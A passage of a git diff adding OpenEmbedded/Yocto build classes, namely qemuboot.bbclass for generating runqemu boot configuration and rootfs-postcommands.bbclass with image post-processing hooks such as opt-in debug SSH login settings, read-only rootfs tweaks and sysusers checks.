+QEMU_EXTRAOPTIONS_powerpc64le = " -cpu POWER9"
+# Some packages e.g. fwupd sets PACKAGE_ARCH = MACHINE_ARCH and uses meson which
+# needs right options to usermode qemu
+QEMU_EXTRAOPTIONS_qemuppc = " -cpu 7400"
+QEMU_EXTRAOPTIONS_qemuppc64 = " -cpu POWER9"
diff --git a/meta/classes-recipe/qemuboot.bbclass b/meta/classes-recipe/qemuboot.bbclass
new file mode 100644
index 0000000000..895fd38d68
--- /dev/null
+++ b/meta/classes-recipe/qemuboot.bbclass
@@ -0,0 +1,189 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Help runqemu boot target board, "QB" means Qemu Boot, the following
+# vars can be set in conf files, such as <bsp.conf> to make it can be
+# boot by runqemu:
+#
+# QB_SYSTEM_NAME: qemu name, e.g., "qemu-system-i386"
+#
+# QB_OPT_APPEND: options to append to qemu, e.g., "-device usb-mouse"
+#
+# QB_DEFAULT_KERNEL: default kernel to boot, e.g., "bzImage"
+# e.g., "bzImage-initramfs-qemux86-64.bin" if INITRAMFS_IMAGE_BUNDLE is set to 1.
+#
+# QB_DEFAULT_FSTYPE: default FSTYPE to boot, e.g., "ext4"
+#
+# QB_MEM: memory, e.g., "-m 512"
+#
+# QB_MACHINE: qemu machine, e.g., "-machine virt"
+#
+# QB_CPU: qemu cpu, e.g., "-cpu qemu32"
+#
+# QB_CPU_KVM: the similar to QB_CPU, but used when kvm, e.g., '-cpu kvm64',
+# set it when support kvm.
+#
+# QB_SMP: amount of CPU cores inside qemu guest, each mapped to a thread on the host,
+# e.g. "-smp 8".
+#
+# QB_KERNEL_CMDLINE_APPEND: options to append to kernel's -append
+# option, e.g., "console=ttyS0 console=tty"
+#
+# QB_DTB: qemu dtb name
+#
+# QB_AUDIO_DRV: qemu audio driver, e.g., "alsa", set it when support audio
+#
+# QB_AUDIO_OPT: qemu audio option, e.g., "-device AC97", used
+# when QB_AUDIO_DRV is set.
+#
+# QB_RNG: Pass-through for host random number generator, it can speedup boot
+# in system mode, where system is experiencing entropy starvation
+#
+# QB_KERNEL_ROOT: kernel's root, e.g., /dev/vda
+# By default "/dev/vda rw" gets passed to the kernel.
+# To mount the rootfs read-only QB_KERNEL_ROOT can be set to e.g. "/dev/vda ro".
+#
+# QB_NETWORK_DEVICE: network device, e.g., "-device virtio-net-pci,netdev=net0,mac=@MAC@",
+# it needs work with QB_TAP_OPT and QB_SLIRP_OPT.
+# Note, runqemu will replace @MAC@ with a predefined mac, you can set
+# a custom one, but that may cause conflicts when multiple qemus are
+# running on the same host.
+# Note: If more than one interface of type -device virtio-net-device gets added,
+# QB_NETWORK_DEVICE:prepend might be used, since Qemu enumerates the eth*
+# devices in reverse order to -device arguments.
+#
+# QB_TAP_OPT: network option for 'tap' mode, e.g.,
+# "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
+# Note, runqemu will replace "@TAP@" with the one which is used, such as tap0, tap1 ...
+#
+# QB_SLIRP_OPT: network option for SLIRP mode, e.g., -netdev user,id=net0"
+#
+# QB_CMDLINE_IP_SLIRP: If QB_NETWORK_DEVICE adds more than one network interface to qemu, usually the
+# ip= kernel command line argument needs to be changed accordingly. Details are documented
+# in the kernel documentation https://www.kernel.org/doc/Documentation/filesystems/nfs/nfsroot.txt
+# Example to configure only the first interface: "ip=eth0:dhcp"
+# QB_CMDLINE_IP_TAP: This parameter is similar to the QB_CMDLINE_IP_SLIRP parameter. Since the tap interface requires
+# static IP configuration @CLIENT@ and @GATEWAY@ place holders are replaced by the IP and the gateway
+# address of the qemu guest by runqemu.
+# Example: "ip=192.168.7.@CLIENT@::192.168.7.@GATEWAY@:255.255.255.0::eth0"
+#
+# QB_ROOTFS_OPT: used as rootfs, e.g.,
+# "-drive id=disk0,file=@ROOTFS@,if=none,format=raw -device virtio-blk-device,drive=disk0"
+# Note, runqemu will replace "@ROOTFS@" with the one which is used, such as core-image-minimal-qemuarm64.ext4.
+#
+# QB_SERIAL_OPT: serial port, e.g., "-serial mon:stdio"
+#
+# QB_TCPSERIAL_OPT: tcp serial port option, e.g.,
+# " -device virtio-serial-device -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1 -device virtconsole,chardev=virtcon"
+# Note, runqemu will replace "@PORT@" with the port number which is used.
+#
+# QB_ROOTFS_EXTRA_OPT: extra options to be appended to the rootfs device in case there is none specified by QB_ROOTFS_OPT.
+# Can be used to automatically determine the image from the other variables
+# but define things link 'bootindex' when booting from EFI or 'readonly' when using squashfs
+# without the need to specify a dedicated qemu configuration
+#
+# QB_GRAPHICS: QEMU video card type (e.g. "-vga std")
+# QB_NFSROOTFS_EXTRA_OPT: extra options to be appended to the nfs rootfs options in kernel boot arg, e.g.,
+# "wsize=4096,rsize=4096"
+#
+# Usage:
+# IMAGE_CLASSES += "qemuboot"
+# See "runqemu help" for more info
+
+QB_MEM ?= "-m 256"
+QB_SMP ?= ""
+QB_SERIAL_OPT ?= "-serial mon:stdio -serial null"
+QB_DEFAULT_KERNEL ?= "${@bb.utils.contains("INITRAMFS_IMAGE_BUNDLE", "1", "${KERNEL_IMAGETYPE}-${INITRAMFS_LINK_NAME}.bin", "${KERNEL_IMAGETYPE}", d)}"
+QB_DEFAULT_FSTYPE ?= "ext4"
+QB_RNG ?= "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
+QB_OPT_APPEND ?= ""
+QB_NETWORK_DEVICE ?= "-device virtio-net-pci,netdev=net0,mac=@MAC@"
+
+# qemurunner needs ip information first, so append QB_NO_PNI
+#
+QB_NO_PNI ?= "${@bb.utils.contains('DISTRO_FEATURES', 'pni-names', '', 'net.ifnames=0', d)}"
+QB_CMDLINE_IP_SLIRP ?= "ip=dhcp"
+QB_CMDLINE_IP_TAP ?= "ip=192.168.7.@CLIENT@::192.168.7.@GATEWAY@:255.255.255.0::eth0:off:8.8.8.8 ${QB_NO_PNI}"
+
+QB_ROOTFS_EXTRA_OPT ?= ""
+QB_GRAPHICS ?= ""
+QB_NFSROOTFS_EXTRA_OPT ?= ""
+
+# With 6.5+ (specifically, if DMA_BOUNCE_UNALIGNED_KMALLOC is set) the SW IO TLB
+# is used, and it defaults to 64MB. This is too much when there's only 256MB of
+# RAM, so request 0 slabs and lets the kernel round up to the appropriate minimum
+# (1MB, typically). In virtual hardware there's very little need for these bounce
+# buffers, so the 64MB would be mostly wasted.
+QB_KERNEL_CMDLINE_APPEND:append = " swiotlb=0"
+
+# This should be kept align with ROOT_VM
+QB_DRIVE_TYPE ?= "/dev/sd"
+
+inherit image-artifact-names
+
+# Create qemuboot.conf
+addtask do_write_qemuboot_conf after do_rootfs before do_image
+
+def qemuboot_vars(d):
+ build_vars = ['MACHINE', 'TUNE_ARCH', 'DEPLOY_DIR_IMAGE',
+ 'KERNEL_IMAGETYPE', 'IMAGE_NAME', 'IMAGE_LINK_NAME',
+ 'STAGING_DIR_NATIVE', 'STAGING_BINDIR_NATIVE',
+ 'STAGING_DIR_HOST', 'SERIAL_CONSOLES', 'UNINATIVE_LOADER']
+ return build_vars + [k for k in d.keys() if k.startswith('QB_')]
+
+do_write_qemuboot_conf[vardeps] += "${@' '.join(qemuboot_vars(d))}"
+do_write_qemuboot_conf[vardepsexclude] += "TOPDIR"
+python do_write_qemuboot_conf() {
+ import configparser
+
+ qemuboot = "%s/%s.qemuboot.conf" % (d.getVar('IMGDEPLOYDIR'), d.getVar('IMAGE_NAME'))
+ if d.getVar('IMAGE_LINK_NAME'):
+ qemuboot_link = "%s/%s.qemuboot.conf" % (d.getVar('IMGDEPLOYDIR'), d.getVar('IMAGE_LINK_NAME'))
+ else:
+ qemuboot_link = ""
+ finalpath = d.getVar("DEPLOY_DIR_IMAGE")
+ topdir = d.getVar('TOPDIR')
+ cf = configparser.ConfigParser()
+ cf.add_section('config_bsp')
+ for k in sorted(qemuboot_vars(d)):
+ if ":" in k:
+ continue
+ # qemu-helper-native sysroot is not removed by rm_work and
+ # contains all tools required by runqemu
+ if k == 'STAGING_BINDIR_NATIVE':
+ val = os.path.join(d.getVar('BASE_WORKDIR'), d.getVar('BUILD_SYS'),
+ 'qemu-helper-native/1.0/recipe-sysroot-native/usr/bin/')
+ else:
+ val = d.getVar(k)
+ if val is None:
+ continue
+ # we only want to write out relative paths so that we can relocate images
+ # and still run them
+ if val.startswith(topdir):
+ val = os.path.relpath(val, finalpath)
+ cf.set('config_bsp', k, '%s' % val)
+
+ # QB_DEFAULT_KERNEL's value of KERNEL_IMAGETYPE is the name of a symlink
+ # to the kernel file, which hinders relocatability of the qb conf.
+ # Read the link and replace it with the full filename of the target.
+ kernel_link = os.path.join(d.getVar('DEPLOY_DIR_IMAGE'), d.getVar('QB_DEFAULT_KERNEL'))
+ kernel = os.path.realpath(kernel_link)
+ # we only want to write out relative paths so that we can relocate images
+ # and still run them
+ kernel = os.path.relpath(kernel, finalpath)
+ cf.set('config_bsp', 'QB_DEFAULT_KERNEL', kernel)
+
+ bb.utils.mkdirhier(os.path.dirname(qemuboot))
+ with open(qemuboot, 'w') as f:
+ cf.write(f)
+
+ if qemuboot_link and qemuboot_link != qemuboot:
+ if os.path.lexists(qemuboot_link):
+ os.remove(qemuboot_link)
+ os.symlink(os.path.basename(qemuboot), qemuboot_link)
+}
+
+EXTRA_IMAGEDEPENDS += "qemu-system-native qemu-helper-native:do_addto_recipe_sysroot"
diff --git a/meta/classes-recipe/rootfs-postcommands.bbclass b/meta/classes-recipe/rootfs-postcommands.bbclass
new file mode 100644
index 0000000000..e81b69a239
--- /dev/null
+++ b/meta/classes-recipe/rootfs-postcommands.bbclass
@@ -0,0 +1,549 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Zap the root password if debug-tweaks and empty-root-password features are not enabled
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains_any("IMAGE_FEATURES", [ 'debug-tweaks', 'empty-root-password' ], "", "zap_empty_root_password ",d)}'
+
+# Allow dropbear/openssh to accept logins from accounts with an empty password string if debug-tweaks or allow-empty-password is enabled
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains_any("IMAGE_FEATURES", [ 'debug-tweaks', 'allow-empty-password' ], "ssh_allow_empty_password ", "",d)}'
+
+# Allow dropbear/openssh to accept root logins if debug-tweaks or allow-root-login is enabled
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains_any("IMAGE_FEATURES", [ 'debug-tweaks', 'allow-root-login' ], "ssh_allow_root_login ", "",d)}'
+
+# Autologin the root user on the serial console, if empty-root-password and serial-autologin-root are active
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("IMAGE_FEATURES", [ 'empty-root-password', 'serial-autologin-root' ], "serial_autologin_root ", "",d)}'
+
+# Enable postinst logging if debug-tweaks or post-install-logging is enabled
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains_any("IMAGE_FEATURES", [ 'debug-tweaks', 'post-install-logging' ], "postinst_enable_logging ", "",d)}'
+
+# Create /etc/timestamp during image construction to give a reasonably sane default time setting
+ROOTFS_POSTPROCESS_COMMAND += "rootfs_update_timestamp "
+
+# Tweak files in /etc if read-only-rootfs is enabled
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs", "read_only_rootfs_hook ", "",d)}'
+
+# We also need to do the same for the kernel boot parameters,
+# otherwise kernel or initramfs end up mounting the rootfs read/write
+# (the default) if supported by the underlying storage.
+#
+# We do this with :append because the default value might get set later with ?=
+# and we don't want to disable such a default that by setting a value here.
+APPEND:append = '${@bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs", " ro", "", d)}'
+
+# Generates test data file with data store variables expanded in json format
+ROOTFS_POSTPROCESS_COMMAND += "write_image_test_data "
+
+# Write manifest
+IMAGE_MANIFEST = "${IMGDEPLOYDIR}/${IMAGE_NAME}.manifest"
+ROOTFS_POSTUNINSTALL_COMMAND =+ "write_image_manifest"
+# Set default postinst log file
+POSTINST_LOGFILE ?= "${localstatedir}/log/postinstall.log"
+# Set default target for systemd images
+SYSTEMD_DEFAULT_TARGET ?= '${@bb.utils.contains_any("IMAGE_FEATURES", [ "x11-base", "weston" ], "graphical.target", "multi-user.target", d)}'
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("DISTRO_FEATURES", "systemd", "set_systemd_default_target systemd_sysusers_check", "", d)}'
+
+ROOTFS_POSTPROCESS_COMMAND += 'empty_var_volatile'
+
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("DISTRO_FEATURES", "overlayfs", "overlayfs_qa_check overlayfs_postprocess", "", d)}'
+
+inherit image-artifact-names
+
+# Sort the user and group entries in /etc by ID in order to make the content
+# deterministic. Package installs are not deterministic, causing the ordering
+# of entries to change between builds. In case that this isn't desired,
+# the command can be overridden.
+SORT_PASSWD_POSTPROCESS_COMMAND ??= "tidy_shadowutils_files"
+ROOTFS_POSTPROCESS_COMMAND += '${SORT_PASSWD_POSTPROCESS_COMMAND}'
+
+#
+# Note that useradd-staticids.bbclass has to be used to ensure that
+# the numeric IDs of dynamically created entries remain stable.
+#
+ROOTFS_POSTPROCESS_COMMAND += 'rootfs_reproducible'
+
+# Resolve the ID as described in the sysusers.d(5) manual: ID can be a numeric
+# uid, a couple uid:gid or uid:groupname or it is '-' meaning leaving it
+# automatic or it can be a path. In the latter, the uid/gid matches the
+# user/group owner of that file.
+def resolve_sysusers_id(d, sid):
+ # If the id is a path, the uid/gid matchs to the target's uid/gid in the
+ # rootfs.
+ if '/' in sid:
+ try:
+ osstat = os.stat(os.path.join(d.getVar('IMAGE_ROOTFS'), sid))
+ except FileNotFoundError:
+ bb.error('sysusers.d: file %s is required but it does not exist in the rootfs', sid)
+ return ('-', '-')
+ return (osstat.st_uid, osstat.st_gid)
+ # Else it is a uid:gid or uid:groupname syntax
+ if ':' in sid:
+ return sid.split(':')
+ else:
+ return (sid, '-')
+
+# Check a user exists in the rootfs password file and return its properties
+def check_user_exists(d, uname=None, uid=None):
+ with open(os.path.join(d.getVar('IMAGE_ROOTFS'), 'etc/passwd'), 'r') as pwfile:
+ for line in pwfile:
+ (name, _, u_id, gid, comment, homedir, ushell) = line.strip().split(':')
+ if uname == name or uid == u_id:
+ return (name, u_id, gid, comment or '-', homedir or '/', ushell or '-')
+ return None
+
+# Check a group exists in the rootfs group file and return its properties
+def check_group_exists(d, gname=None, gid=None):
+ with open(os.path.join(d.getVar('IMAGE_ROOTFS'), 'etc/group'), 'r') as gfile:
+ for line in gfile:
+ (name, _, g_id, _) = line.strip().split(':')
+ if name == gname or g_id == gid:
+ return (name, g_id)
+ return None
+
+def compare_users(user, e_user):
+ # user and e_user must not have None values. Unset values must be '-'.
+ (name, uid, gid, comment, homedir, ushell) = user
+ (e_name, e_uid, e_gid, e_comment, e_homedir, e_ushell) = e_user
+ # Ignore 'uid', 'gid' or 'homedir' if they are not set
+ # Ignore 'shell' and 'ushell' if one is not set
+ return name == e_name \
+ and (uid == '-' or uid == e_uid) \
+ and (gid == '-' or gid == e_gid) \
+ and (homedir == '-' or e_homedir == '-' or homedir == e_homedir) \
+ and (ushell == '-' or e_ushell == '-' or ushell == e_ushell)
+
+# Open sysusers.d configuration files and parse each line to check the users and
+# groups are already defined in /etc/passwd and /etc/groups with similar
+# properties. Refer to the sysusers.d(5) manual for its syntax.
+python systemd_sysusers_check() {
+ import glob
+ import re
+
+ pattern_comment = r'(-|\"[^:\"]+\")'
+ pattern_word = r'[^\s]+'
+ pattern_line = r'(' + pattern_word + r')\s+(' + pattern_word + r')\s+(' + pattern_word + r')(\s+' \
+ + pattern_comment + r')?' + r'(\s+(' + pattern_word + r'))?' + r'(\s+(' + pattern_word + r'))?'
+
+ for conffile in glob.glob(os.path.join(d.getVar('IMAGE_ROOTFS'), 'usr/lib/sysusers.d/*.conf')):
+ with open(conffile, 'r') as f:
+ for line in f:
+ line = line.strip()
+ if not len(line) or line[0] == '#': continue
+ ret = re.fullmatch(pattern_line, line.strip())
+ if not ret: continue
+ (stype, sname, sid, _, scomment, _, shomedir, _, sshell) = ret.groups()
+ if stype == 'u':
+ if sid:
+ (suid, sgid) = resolve_sysusers_id(d, sid)
+ if sgid.isalpha():
+ sgid = check_group_exists(d, gname=sgid)
+ elif sgid.isdigit():
+ check_group_exists(d, gid=sgid)
+ else:
+ sgid = '-'
+ else:
+ suid = '-'
+ sgid = '-'
+ scomment = scomment.replace('"', '') if scomment else '-'
+ shomedir = shomedir or '-'
+ sshell = sshell or '-'
+ e_user = check_user_exists(d, uname=sname)
+ if not e_user:
+ bb.warn('User %s has never been defined' % sname)
+ elif not compare_users((sname, suid, sgid, scomment, shomedir, sshell), e_user):
+ bb.warn('User %s has been defined as (%s) but sysusers.d expects it as (%s)'
+ % (sname, ', '.join(e_user),
+ ', '.join((sname, suid, sgid, scomment, shomedir, sshell))))
+ elif stype == 'g':
+ gid = sid or '-'
+ if '/' in gid:
+ (_, gid) = resolve_sysusers_id(d, sid)
+ e_group = check_group_exists(d, gname=sname)
+ if not e_group:
+ bb.warn('Group %s has never been defined' % sname)
+ elif gid != '-':
+ (_, e_gid) = e_group
+ if gid != e_gid:
+ bb.warn('Group %s has been defined with id (%s) but sysusers.d expects gid (%s)'
+ % (sname, e_gid, gid))
+ elif stype == 'm':
+ check_user_exists(d, sname)
+ check_group_exists(d, sid)
+}
+
+#
+# A hook function to support read-only-rootfs IMAGE_FEATURES
+#
+read_only_rootfs_hook () {
+ # Tweak the mount option and fs_passno for rootfs in fstab
+ if [ -f ${IMAGE_ROOTFS}/etc/fstab ]; then
+ sed -i -e '/^[#[:space:]]*\/dev\/root/{s/defaults/ro/;s/\([[:space:]]*[[:digit:]]\)\([[:space:]]*\)[[:digit:]]$/\1\20/}' ${IMAGE_ROOTFS}/etc/fstab
+ fi
+
+ # Tweak the "mount -o remount,rw /" command in busybox-inittab inittab
+ if [ -f ${IMAGE_ROOTFS}/etc/inittab ]; then
+ sed -i 's|/bin/mount -o remount,rw /|/bin/mount -o remount,ro /|' ${IMAGE_ROOTFS}/etc/inittab
+ fi
+
+ # If we're using openssh and the /etc/ssh directory has no pre-generated keys,
+ # we should configure openssh to use the configuration file /etc/ssh/sshd_config_readonly
+ # and the keys under /var/run/ssh.
+ # If overlayfs-etc is used this is not done as /etc is treated as writable
+ # If stateless-rootfs is enabled this is always done as we don't want to save keys then
+ if ${@ 'true' if not bb.utils.contains('IMAGE_FEATURES', 'overlayfs-etc', True, False, d) or bb.utils.contains('IMAGE_FEATURES', 'stateless-rootfs', True, False, d) else 'false'}; then
+ if [ -d ${IMAGE_ROOTFS}/etc/ssh ]; then
+ if [ -e ${IMAGE_ROOTFS}/etc/ssh/ssh_host_rsa_key ]; then
+ echo "SYSCONFDIR=\${SYSCONFDIR:-/etc/ssh}" >> ${IMAGE_ROOTFS}/etc/default/ssh
+ echo "SSHD_OPTS=" >> ${IMAGE_ROOTFS}/etc/default/ssh
+ else
+ echo "SYSCONFDIR=\${SYSCONFDIR:-/var/run/ssh}" >> ${IMAGE_ROOTFS}/etc/default/ssh
+ echo "SSHD_OPTS='-f /etc/ssh/sshd_config_readonly'" >> ${IMAGE_ROOTFS}/etc/default/ssh
+ fi
+ fi
+
+ # Also tweak the key location for dropbear in the same way.
+ if [ -d ${IMAGE_ROOTFS}/etc/dropbear ]; then
+ if [ ! -e ${IMAGE_ROOTFS}/etc/dropbear/dropbear_rsa_host_key ]; then
+ echo "DROPBEAR_RSAKEY_DIR=/var/lib/dropbear" >> ${IMAGE_ROOTFS}/etc/default/dropbear
+ fi
+ fi
+ fi
+
+ if ${@bb.utils.contains("DISTRO_FEATURES", "sysvinit", "true", "false", d)}; then
+ # Change the value of ROOTFS_READ_ONLY in /etc/default/rcS to yes
+ if [ -e ${IMAGE_ROOTFS}/etc/default/rcS ]; then
+ sed -i 's/ROOTFS_READ_ONLY=no/ROOTFS_READ_ONLY=yes/' ${IMAGE_ROOTFS}/etc/default/rcS
+ fi
+ # Run populate-volatile.sh at rootfs time to set up basic files
+ # and directories to support read-only rootfs.
+ if [ -x ${IMAGE_ROOTFS}/etc/init.d/populate-volatile.sh ]; then
+ ${IMAGE_ROOTFS}/etc/init.d/populate-volatile.sh
+ fi
+ fi
+
+ if ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "true", "false", d)}; then
+ # Create machine-id
+ # 20:12 < mezcalero> koen: you have three options: a) run systemd-machine-id-setup at install time, b) have / read-only and an empty file there (for stateless) and c) boot with / writable
+ touch ${IMAGE_ROOTFS}${sysconfdir}/machine-id
+ fi
+}
+
+#
+# This function disallows empty root passwords
+#
+zap_empty_root_password () {
+ if [ -e ${IMAGE_ROOTFS}/etc/shadow ]; then
+ sed --follow-symlinks -i 's%^root::%root:*:%' ${IMAGE_ROOTFS}/etc/shadow
+ fi
+ if [ -e ${IMAGE_ROOTFS}/etc/passwd ]; then
+ sed --follow-symlinks -i 's%^root::%root:*:%' ${IMAGE_ROOTFS}/etc/passwd
+ fi
+}
+
+#
+# allow dropbear/openssh to accept logins from accounts with an empty password string
+#
+ssh_allow_empty_password () {
+ for config in sshd_config sshd_config_readonly; do
+ if [ -e ${IMAGE_ROOTFS}${sysconfdir}/ssh/$config ]; then
+ sed -i 's/^[#[:space:]]*PermitEmptyPasswords.*/PermitEmptyPasswords yes/' ${IMAGE_ROOTFS}${sysconfdir}/ssh/$config
+ fi
+ done
+
+ if [ -e ${IMAGE_ROOTFS}${sbindir}/dropbear ] ; then
+ if grep -q DROPBEAR_EXTRA_ARGS ${IMAGE_ROOTFS}${sysconfdir}/default/dropbear 2>/dev/null ; then
+ if ! grep -q "DROPBEAR_EXTRA_ARGS=.*-B" ${IMAGE_ROOTFS}${sysconfdir}/default/dropbear ; then
+ sed -i 's/^DROPBEAR_EXTRA_ARGS="*\([^"]*\)"*/DROPBEAR_EXTRA_ARGS="\1 -B"/' ${IMAGE_ROOTFS}${sysconfdir}/default/dropbear
+ fi
+ else
+ printf '\nDROPBEAR_EXTRA_ARGS="-B"\n' >> ${IMAGE_ROOTFS}${sysconfdir}/default/dropbear
+ fi
+ fi
+
+ if [ -d ${IMAGE_ROOTFS}${sysconfdir}/pam.d ] ; then
+ for f in `find ${IMAGE_ROOTFS}${sysconfdir}/pam.d/* -type f -exec test -e {} \; -print`
+ do
+ sed -i 's/nullok_secure/nullok/' $f
+ done
+ fi
+}
+
+#
+# allow dropbear/openssh to accept root logins
+#
+ssh_allow_root_login () {
+ for config in sshd_config sshd_config_readonly; do
+ if [ -e ${IMAGE_ROOTFS}${sysconfdir}/ssh/$config ]; then
+ sed -i 's/^[#[:space:]]*PermitRootLogin.*/PermitRootLogin yes/' ${IMAGE_ROOTFS}${sysconfdir}/ssh/$config
+ fi
+ done
+
+ if [ -e ${IMAGE_ROOTFS}${sbindir}/dropbear ] ; then
+ if grep -q DROPBEAR_EXTRA_ARGS ${IMAGE_ROOTFS}${sysconfdir}/default/dropbear 2>/dev/null ; then
+ sed -i '/^DROPBEAR_EXTRA_ARGS=/ s/-w//' ${IMAGE_ROOTFS}${sysconfdir}/default/dropbear
+ sed -i '/^# Disallow root/d' ${IMAGE_ROOTFS}${sysconfdir}/default/dropbear
+ fi
+ fi
+}
+
+#
+# Autologin the 'root' user on the serial terminal,
+# if empty-root-password' AND 'serial-autologin-root are enabled
+#
+serial_autologin_root () {
+ if ${@bb.utils.contains("DISTRO_FEATURES", "sysvinit", "true", "false", d)}; then
+ # add autologin option to util-linux getty only
+ sed -i 's/options="/&--autologin root /' \
+ "${IMAGE_ROOTFS}${base_bindir}/start_getty"
+ elif ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "true", "false", d)}; then
+ if [ -e ${IMAGE_ROOTFS}${systemd_system_unitdir}/serial-getty@.service ]; then
+ sed -i '/^\s*ExecStart\b/ s/getty /&--autologin root /' \
+ "${IMAGE_ROOTFS}${systemd_system_unitdir}/serial-getty@.service"
+ fi
+ fi
+}
+
+python tidy_shadowutils_files () {
+ import rootfspostcommands
+ rootfspostcommands.tidy_shadowutils_files(d.expand('${IMAGE_ROOTFS}${sysconfdir}'))
+}
+
+python sort_passwd () {
+ """
+ Deprecated in the favour of tidy_shadowutils_files.
+ """
+ import rootfspostcommands
+ bb.warn('[sort_passwd] You are using a deprecated function for '
+ 'SORT_PASSWD_POSTPROCESS_COMMAND. The default one is now called '
+ '"tidy_shadowutils_files".')
+ rootfspostcommands.tidy_shadowutils_files(d.expand('${IMAGE_ROOTFS}${sysconfdir}'))
+}
+
+#
+# Enable postinst logging
+#
+postinst_enable_logging () {
+ mkdir -p ${IMAGE_ROOTFS}${sysconfdir}/default
+ echo "POSTINST_LOGGING=1" >> ${IMAGE_ROOTFS}${sysconfdir}/default/postinst
+ echo "LOGFILE=${POSTINST_LOGFILE}" >> ${IMAGE_ROOTFS}${sysconfdir}/default/postinst
+}
+
+#
+# Modify systemd default target
+#
+set_systemd_default_target () {
+ if [ -d ${IMAGE_ROOTFS}${sysconfdir}/systemd/system -a -e ${IMAGE_ROOTFS}${systemd_system_unitdir}/${SYSTEMD_DEFAULT_TARGET} ]; then
+ ln -sf ${systemd_system_unitdir}/${SYSTEMD_DEFAULT_TARGET} ${IMAGE_ROOTFS}${sysconfdir}/systemd/system/default.target
+ fi
+}
+
+# If /var/volatile is not empty, we have seen problems where programs such as the
+# journal make assumptions based on the contents of /var/volatile. The journal
+# would then write to /var/volatile before it was mounted, thus hiding the
+# items previously written.
+#
+# This change is to attempt to fix those types of issues in a way that doesn't
+# affect users that may not be using /var/volatile.
+empty_var_volatile () {
+ if [ -e ${IMAGE_ROOTFS}/etc/fstab ]; then
+ match=`awk '$1 !~ "#" && $2 ~ /\/var\/volatile/{print $2}' ${IMAGE_ROOTFS}/etc/fstab 2> /dev/null`
+ if [ -n "$match" ]; then
+ find ${IMAGE_ROOTFS}/var/volatile -mindepth 1 -delete
+ fi
+ fi
+}
+
+# Turn any symbolic /sbin/init link into a file
+remove_init_link () {
+ if [ -h ${IMAGE_ROOTFS}/sbin/init ]; then
+ LINKFILE=${IMAGE_ROOTFS}`readlink ${IMAGE_ROOTFS}/sbin/init`
+ rm ${IMAGE_ROOTFS}/sbin/init
+ cp $LINKFILE ${IMAGE_ROOTFS}/sbin/init
+ fi
+}
+
+python write_image_manifest () {
+ from oe.rootfs import image_list_installed_packages
+ from oe.utils import format_pkg_list
+
+ deploy_dir = d.getVar('IMGDEPLOYDIR')
+ link_name = d.getVar('IMAGE_LINK_NAME')
+ manifest_name = d.getVar('IMAGE_MANIFEST')
+
+ if not manifest_name:
+ return
+
+ pkgs = image_list_installed_packages(d)
+ with open(manifest_name, 'w+') as image_manifest:
+ image_manifest.write(format_pkg_list(pkgs, "ver"))
+
+ if os.path.exists(manifest_name) and link_name:
+ manifest_link = deploy_dir + "/" + link_name + ".manifest"
+ if manifest_link != manifest_name:
+ if os.path.lexists(manifest_link):
+ os.remove(manifest_link)
+ os.symlink(os.path.basename(manifest_name), manifest_link)
+}
+
+# Can be used to create /etc/timestamp during image construction to give a reasonably
+# sane default time setting
+rootfs_update_timestamp () {
+ if [ "${REPRODUCIBLE_TIMESTAMP_ROOTFS}" != "" ]; then
+ # Convert UTC into %4Y%2m%2d%2H%2M%2S
+ sformatted=`date -u -d @${REPRODUCIBLE_TIMESTAMP_ROOTFS} +%4Y%2m%2d%2H%2M%2S`
+ else
+ sformatted=`date -u +%4Y%2m%2d%2H%2M%2S`
+ fi
+ echo $sformatted > ${IMAGE_ROOTFS}/etc/timestamp
+ bbnote "rootfs_update_timestamp: set /etc/timestamp to $sformatted"
+}
+
+# Prevent X from being started
+rootfs_no_x_startup () {
+ if [ -f ${IMAGE_ROOTFS}/etc/init.d/xserver-nodm ]; then
+ chmod a-x ${IMAGE_ROOTFS}/etc/init.d/xserver-nodm
+ fi
+}
+
+rootfs_trim_schemas () {
+ for schema in ${IMAGE_ROOTFS}/etc/gconf/schemas/*.schemas
+ do
+ # Need this in case no files exist
+ if [ -e $schema ]; then
+ oe-trim-schemas $schema > $schema.new
+ mv $schema.new $schema
+ fi
+ done
+}
+
+rootfs_check_host_user_contaminated () {
+ contaminated="${S}/host-user-contaminated.txt"
+ HOST_USER_UID="$(PSEUDO_UNLOAD=1 id -u)"
+ HOST_USER_GID="$(PSEUDO_UNLOAD=1 id -g)"
+
+ find "${IMAGE_ROOTFS}" -path "${IMAGE_ROOTFS}/home" -prune -o \
+ -user "$HOST_USER_UID" -print -o -group "$HOST_USER_GID" -print >"$contaminated"
+
+ sed -e "s,${IMAGE_ROOTFS},," $contaminated | while read line; do
+ bbwarn "Path in the rootfs is owned by the same user or group as the user running bitbake:" $line `ls -lan ${IMAGE_ROOTFS}/$line`
+ done
+
+ if [ -s "$contaminated" ]; then
+ bbwarn "/etc/passwd:" `cat ${IMAGE_ROOTFS}/etc/passwd`
+ bbwarn "/etc/group:" `cat ${IMAGE_ROOTFS}/etc/group`
+ fi
+}
+
+# Make any absolute links in a sysroot relative
+rootfs_sysroot_relativelinks () {
+ sysroot-relativelinks.py ${SDK_OUTPUT}/${SDKTARGETSYSROOT}
+}
+
+# Generated test data json file
+python write_image_test_data() {
+ from oe.data import export2json
+
+ deploy_dir = d.getVar('IMGDEPLOYDIR')
+ link_name = d.getVar('IMAGE_LINK_NAME')
+ testdata_name = os.path.join(deploy_dir, "%s.testdata.json" % d.getVar('IMAGE_NAME'))
+
+ searchString = "%s/"%(d.getVar("TOPDIR")).replace("//","/")
+ export2json(d, testdata_name, searchString=searchString, replaceString="")
+
+ if os.path.exists(testdata_name) and link_name:
